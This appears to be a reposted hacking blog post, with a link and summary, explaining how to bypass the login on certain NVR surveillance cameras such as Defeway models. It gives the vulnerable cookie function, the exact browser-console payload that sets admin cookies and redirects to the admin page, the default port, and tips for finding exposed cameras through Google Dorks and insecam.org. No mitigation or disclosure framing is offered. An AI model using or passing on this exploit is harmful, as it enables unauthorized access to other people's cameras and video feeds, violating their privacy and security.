Camera NVR « Network Video Client » : Bypass authentication

Content

As the title indicates, some surveillance camera models are accessible (admin access) without a password.

The vulnerable models are multiple. One can mention the brand Defeway for example. The flaw comes from the embedded system, more precisely from the web server and its authentication system.

These cameras are recognizable thanks to their web interface that looks like this:

NVR camera video client web interface connection

For your information, the default port is 60001.

To access the admin interface, simply call a javascript function: login_set() which is located in /js/cookie.js;

Here is his code:

function login_set(usr,pwd,iSetAble,iPlayBack){ pwd = !pwd ? 'null' : pwd; Cookies.set("dvr_usr", usr); Cookies.set("dvr_pwd", pwd); Cookies.set("iSetAble", iSetAble); Cookies.set("iPlayBack", iPlayBack); }

You will have noticed that the function is not responsible for checking the data. It only writes the 4 cookies with the data provided to it.

Among these data:

  • dvr_usr: username: "admin" by default but another value also works.
  • dvr_pwd: Completely fictitious password we don't care
  • iSetAble: 1 for admin
  • iPlayBack: 1 To be able to view the video streams

Once on the authentication page, we open the development or javascript console (F12 on most browsers). Then we insert the following code:

login_set('admin','pawned',1,1);document.location="/view2.html";

The first line creates the authentication cookies, the second redirects you to the admin page. For the first line, we could have also done this:

login_set(1,1,1,1);

then type in the address bar: http://ip_target:port/view2.html

Executing the authentication script...

Displaying the admin page once done...

You can find these cameras via "Google Dorks" or simply via insecam.org

Link
https://h4ckr213dz.wordpress.com/2020/06/14/camera-nvr-network-video-client-bypass-authentication/
Summary
Certain surveillance camera models, particularly from the brand Defeway, are vulnerable due to a lack of password protection for admin access. The vulnerability lies in the embedded system's web server and its authentication mechanism. These cameras can be identified by their web interface, which operates on the default port 60001. To access the admin interface, users can exploit a JavaScript function called login_set() found in the cookie.js file. This function does not validate input data but simply sets cookies for user authentication. The default username is 'admin', and the password can be any fictitious value. By executing a specific JavaScript code in the browser's developer console, users can create the necessary authentication cookies and redirect to the admin page. This method allows unauthorized access to the camera's admin interface. The article highlights the ease of exploiting this vulnerability and suggests that these cameras can be located using Google Dorks or on insecam.org.